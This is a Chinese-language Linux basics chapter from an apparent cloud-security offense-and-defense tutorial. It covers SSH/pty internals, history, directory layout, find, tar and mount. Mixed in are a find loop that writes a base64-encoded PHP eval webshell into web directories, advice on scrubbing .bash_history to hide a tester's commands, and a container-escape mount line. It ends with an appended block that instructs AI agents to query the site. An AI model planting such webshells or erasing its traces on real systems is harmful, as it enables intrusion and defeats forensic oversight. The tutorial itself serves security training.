# Linux基础快速入门

这一章节是快速了解Linux知识，并不会从零基础讲起，如果你没有任何Linux基础，希望你通过一些书籍快速掌握基本操作再来阅读此书。

在后续章节中很多内容都需要掌握Linux一些进阶技巧，反弹Shell、echo命令、特殊权限等在容器逃逸、K8s中会经常用到。

### Linux基础快速入门

#### SSH远程访问流程

当我们在键盘上敲下一个字母的时候，到底是怎么发送到相应的进程的呢？

<figure><img src="/files/1zvxvejXqpOtXQg3Ogzr" alt=""><figcaption></figcaption></figure>

&#x20;

这里的Terminal可能是任何地方的程序，例如Windows上的Putty、Xshell之类的程序。

&#x20;

1\. Terminal请求和SSH Server建立连接

2\. 验证通过后，SSH Server将创建一个新的Session，一个Shell进程

3\. SSH Server会调用API，请求ptmx创建一个pts，成功之后呢，SSH Server将得到和ptmx关联的fd（file descriptor(文件描述符)），并与该fd和session关联起来；

4\. 同时sshd创建Shell进程，将新创建的pts和Shell绑定

<figure><img src="/files/5sgeD2lOXABGWpmlNium" alt=""><figcaption></figcaption></figure>

**TTY和PTS的区别**

对用户空间来说是没有区别，从内核看，pts另一端连接的是ptmx，而tty是连接内核的终端模拟器。

&#x20;

什么是ptmx？

ptmx是Linux中的一个特殊文件，全称为pseudo-terminal master-slave。它是一种虚拟终端，用于模拟终端设备。它允许进程向模拟终端读写数据，就好像与实际终端设备进行通信一样。它在很多应用场景中都有用到，例如：SSH登录、读写终端设备、脚本调试等。

#### Shell中两类命令

* 内部命令：由shell自带，用户登录后自动加载并常驻内存中
* 外部命令：文件系统路径下有对应的可执行程序文件，当执行时才从磁盘加载至内存中，执行完后从内存中删除

&#x20;

用type命令查看是内部还是外部命令：

```bash
type COMMAND
enable cmd #启用内部命令
enable -n cmd #禁用内部命令
enable -n #查看所有禁用的司令部命令
在一些渗透场景中，如果有些命令无法执行可以查看一下enable 
```

**Hash缓存表**

Linux还有一个与外部命令相关的Hash缓存表，称为"hash table"或"command hashing"。

这个Hash缓存表存储了已经执行过的外部命令的路径，以便下次执行时能够快速查找。当你在命令行中执行一个命令时，系统会首先检查Hash缓存表中是否已经存储了该命令的路径，如果是，就直接使用缓存表中的路径执行命令，而不必再次搜索整个文件系统。

```bash
hash -l #显示hash缓存
hash -d name #清除name缓存
hash -r #清除缓存
```

#### 常见命令

#### 命令行历史

在终端操作后，系统默认会在内存记录执行的命令，当用户退出时会将内存命令记录在\~/.bash\_history

```bash
-c    清空历史命令
-d    指定删除命令
-n    显示最近的n条历史
-w    保存历史列表到指定文件
```

```bash
HISTSIZE #命令历史记录条数
 
HISTFILESIZE #命令历史文件记录历史条数
 
#显示时间和用户
HISTTIMEFORMAT="%F %T `whoami`|"
 
HISTCONTROL: #控制命令历史的记录方式
ignoredups #去掉重复的命令
ignorespace #忽略以空白开头的命令
ignoreboth #前二条的组合
erasedups #删除重复命令
 
#永久设置
/etc/profile 或者 ~/.bash_profile
 
#空格后忽略记录
export HISTCONTROL=ignoreboth
```

在渗透场景中不建议在服务器使用history -c清除记录，最好通过编辑.bash\_history删除自己相关执行的文件，或者执行时忽略以空白开头的命令

History在渗透、溯源中起到了非常重要的作用！！！

&#x20;

关于Linux终端快捷键常用的操作：

```bash
!! #重复前一个命令
Ctrl+P #重复前一个命令
!n #执行history对应的命令
!string #执行以什么开头的命令
Ctrl + l #清屏
Ctrl+z #挂起命令
Ctrl+a #光标行首
Ctrl+e #光标行尾
Ctrl+f #光标右移一个字符
Ctrl+b #光标左移一个字符
Ctrl + xx #光标前后移动
```

#### 目录结构

标了颜色加重的，需要记住目录是什么作用的。

**根目录**

| 一级目录    | 功能（作用）                                                                                                                                                                                                            |
| ------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| /bin/   | 存放系统命令，普通用户和 root 都可以执行。放在 /bin 下的命令在单用户模式下也可以执行                                                                                                                                                                  |
| /boot/  | 系统启动目录，保存与系统启动相关的文件，如内核文件和启动引导程序（grub）文件等                                                                                                                                                                         |
| /dev/   | 设备文件保存位置                                                                                                                                                                                                          |
| /etc/   | 配置文件保存位置。系统内所有采用默认安装方式（rpm 安装）的服务配置文件全部保存在此目录中如用户信息、服务的启动脚本、常用服务的配置文件等                                                                                                                                            |
| /home/  | <p>普通用户的主目录（也称为家目录）。在创建用户时，每个用户要有一个默认登录和保存自己数据的位置，就是用户的主目录，所有普通用户的主目录是在 /home/ 下建立一个和用户名相同的目录。</p><p>如用户 liming 的主目录就是 /home/liming</p>                                                                           |
| /lib/   | 系统调用的函数库保存位置                                                                                                                                                                                                      |
| /media/ | 挂载目录。系统建议用来挂载媒体设备，如软盘和光盘                                                                                                                                                                                          |
| /mnt/   | 挂载目录。早期 Linux 中只有这一个挂载目录，并没有细分。系统建议这个目录用来挂载额外的设备，如 U 盘、移动硬盘和其他操作系统的分区                                                                                                                                             |
| /misc/  | <p>挂载目录。系统建议用来挂载 NFS 服务的共享目录。虽然系统准备了三个默认挂载目录 /media/、/mnt/、/misc/，但是到底在哪个目录中挂载什么设备可以由管理员自己决定。例如，笔者在接触 Linux 的时候，默认挂载目录只有 /mnt/，所以养成了在 /mnt/ 下建立不同目录挂载不同设备的习惯，</p><p>如 /mnt/cdrom/ 挂载光盘、/mnt/usb/ 挂载 U 盘，都是可以的</p> |
| /opt/   | <p>第三方安装的软件保存位置。这个目录是放置和安装其他软件的位置，</p><p>手工安装的源码包软件都可以安装到这个目录中。不过笔者还是习惯把软件放到 /usr/local/ 目录中，也就是说，/usr/local/ 目录也可以用来安装软件</p>                                                                                     |
| /root/  | root 的主目录。普通用户主目录在 /home/ 下，root 主目录直接在“/”下                                                                                                                                                                       |
| /sbin/  | 保存与系统环境设置相关的命令，只有 root 可以使用这些命令进行系统环境设置，但也有些命令可以允许普通用户查看                                                                                                                                                          |
| /srv/   | 服务数据目录。一些系统服务启动之后，可以在这个目录中保存所需要的数据                                                                                                                                                                                |
| /tmp/   | <p>临时目录。系统存放临时文件的目录，在该目录下，所有用户都可以访问和写入。</p><p>建议此目录中不能保存重要数据，最好每次开机都把该目录清空</p>                                                                                                                                    |

&#x20;

**/usr目录**

| 子目录          | 功能（作用）                                                                                                |
| ------------ | ----------------------------------------------------------------------------------------------------- |
| /usr/bin/    | 存放系统命令，普通用户和超级用户都可以执行。这些命令和系统启动无关                                                                     |
| /usr/sbin/   | 存放根文件系统不必要的系统管理命令，如多数服务程序，只有 root 可以使用。                                                               |
| /usr/lib/    | 应用程序调用的函数库保存位置                                                                                        |
| /usr/XllR6/  | 图形界面系统保存位置                                                                                            |
| /usr/local/  | 手工安装的软件保存位置。我们一般建议源码包软件安装在这个位置                                                                        |
| /usr/share/  | 应用程序的资源文件保存位置，如帮助文档、说明文档和字体目录                                                                         |
| /usr/src/    | 源码包保存位置。我们手工下载的源码包和内核源码包都可以保存到这里。不过笔者更习惯把手工下载的源码包保存到 /usr/local/src/ 目录中，把内核源码保存到 /usr/src/linux/ 目录中 |
| /usr/include | C/C++等编程语言头文件的放置目录                                                                                    |

**/var 目录**

| /var子目录          | 功能（作用）                                                                            |
| ---------------- | --------------------------------------------------------------------------------- |
| /var/lib/        | <p>程序运行中需要调用或改变的数据保存位置。如 MySQL</p><p>的数据库保存在 /var/lib/mysql/ 目录中</p>              |
| /var/log/        | 登陆文件放置的目录，其中所包含重要的文件如 /var/log/messages, /var/log/wtmp 等。                         |
| /var/run/        | 一些服务和程序运行后，它们的 PID（进程 ID）保存位置                                                     |
| /var/spool/      | 里面主要都是一些临时存放，随时会被用户所调用的数据，例如 /var/spool/mail/ 存放新收到的邮件，/var/spool/cron/ 存放系统定时任务。 |
| /var/www/        | RPM 包安装的 Apache 的网页主目录                                                            |
| /var/nis和/var/yp | NIS 服务机制所使用的目录，nis 主要记录所有网络中每一个 client 的连接信息；yp 是 linux 的 nis 服务的日志文件存放的目录        |
| /var/tmp         | 一些应用程序在安装或执行时，需要在重启后使用的某些文件，此目录能将该类文件暂时存放起来，完成后再行删除                               |

&#x20;

#### 文件类型

```bash
-    普通文件
d    目录
l    链接文件
b    块设备
c    字符设备
p    管道文件pipe
s    套接字文件socket
```

#### 文件查找

```bash
find
-maxdepth level 最大搜索目录深度,指定目录下的文件为第1级
-mindepth level 最小搜索目录深度
 
-name #文件名
-iname #不区分大小写
 
#组合条件
与：-a
或：-o
非：not !
 
#根据文件类型
-type TYPE
f：普通文件
d：目录文件
l：符号文件
s：套接字文件
p：管道文件
 
#排除security目录
find /etc -path '/etc/security' -a -prune -o -name "*.conf"
 
#根据文件大小查找
-size #k，M，G
 
-atime 天 #根据时间戳
 
#根据权限
-perm
find / -perm 755
 
#处理动作
-exec 执行命令
 
##备份文件
find /etc/ -name ".conf" -exec cp {} /root/conf/ \;
 
##查找权限为644，后缀为sh文件，并给于执行权限
find / -type f -perm 644 -name "*.sh" -exec chmod 755 {} \;
```

实战场景，挖到了一个命令执行但是因为找不到目录而无法写shell。

通过网页寻找特殊名称或图片名称，通过find定位WEB目录。

{% code overflow="wrap" %}

```bash
#查找文件并写入
find / -name 1.jpg|while read file;do sh -c "echo '111'">$(dirname $file)/111.txt;done
 
#查找1.jpg文件并用bash64编码写入
find / -name 1.jpg|while read file;do sh -c "echo PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOyA/Pgo= | base64 -d">$(dirname $file)/1.php;done
```

{% endcode %}

&#x20;

#### 压缩和解压

```bash
#gzip
-k keep, 保留原文件,CentOS 8 新特性
-d 解压缩，相当于gunzip
-c 结果输出至标准输出，保留原文件不改变
-# 指定压缩比，#取值为1-9，值越大压缩比越大
 
gunzip file.gz #解压
 
gzip -c messages > messages.gz #压缩
 
#bzip2、bunzip2
对应的文件是 .bz2 后缀
-k keep, 保留原文件
-d 解压缩
-c 结果输出至标准输出，保留原文件不改变 -# 1-9，压缩比，默认为9
 
#xz、unxz
unxz file.xz
 
zip -r /back.zip /etc/ #打包并压缩
 
zip -e password.zip * #交互式加密解密
 
zip -P 123456 password.zip * #非交互式
tar
-z 相当于gzip压缩工具
-j 相当于bzip2压缩工具
-J 相当于xz压缩工具
 
#创建归楼，保留权限
tar -cpvf /1.tar.gz /tmp/
 
#追加文件
tar -rf /1.tar.gz file
 
#排除文件
--exclude
 
#打包文件，不包含图片文件
tar -cvf web.tar.gz --exclude="*.jpg" /data/
 
#排除多个文件类型
tar -czvf web.tar.gz --exclude="*.jpg" --exclude="*.php" /data/
 
#只打包特定的文件
find /data/ -name "*.conf" |xargs tar -czvf ./conf.tar.gz
```

#### 挂载文件

```bash
mount [-t 系统类型] [-L 卷标名] [-o 特殊选项] [-n] 设备文件名 挂载点
 
-t #指定系统类型，例如ext4
-r #只读挂载
-w #读写挂载，默认配置。
 
#持久挂载
/etc/fstab
 
#操作光盘
eject #弹出光盘
eject -t #弹入光盘
 
容器逃逸常用
mount /dev/sda1 /tmp/hosts/
```

&#x20;


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-er-zhang-linux-gong-fang-kuai-su-ru-men-shang/linux-ji-chu-kuai-su-ru-men.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
